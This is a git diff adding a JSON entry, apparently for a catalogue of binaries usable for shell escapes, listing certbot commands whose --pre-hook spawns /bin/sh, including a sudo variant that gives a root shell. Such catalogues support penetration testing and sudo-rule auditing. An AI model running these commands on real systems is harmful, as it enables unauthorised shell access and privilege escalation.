diff --git a/data/certbot.json b/data/certbot.json
new file mode 100644
index 0000000..a8c1cf6
--- /dev/null
+++ b/data/certbot.json
@@ -0,0 +1,14 @@
+{
+  "functions": {
+    "shell": [
+      {
+        "code": "TF=$(mktemp -d)\ncertbot certonly -n -d x --standalone --dry-run --agree-tos --email x --logs-dir $TF --work-dir $TF --config-dir $TF --pre-hook '/bin/sh 1>&0 2>&0'\n"
+      }
+    ],
+    "sudo": [
+      {
+        "code": "TF=$(mktemp -d)\nsudo certbot certonly -n -d x --standalone --dry-run --agree-tos --email x --logs-dir $TF --work-dir $TF --config-dir $TF --pre-hook '/bin/sh 1>&0 2>&0'\n"
+      }
+    ]
+  }
+}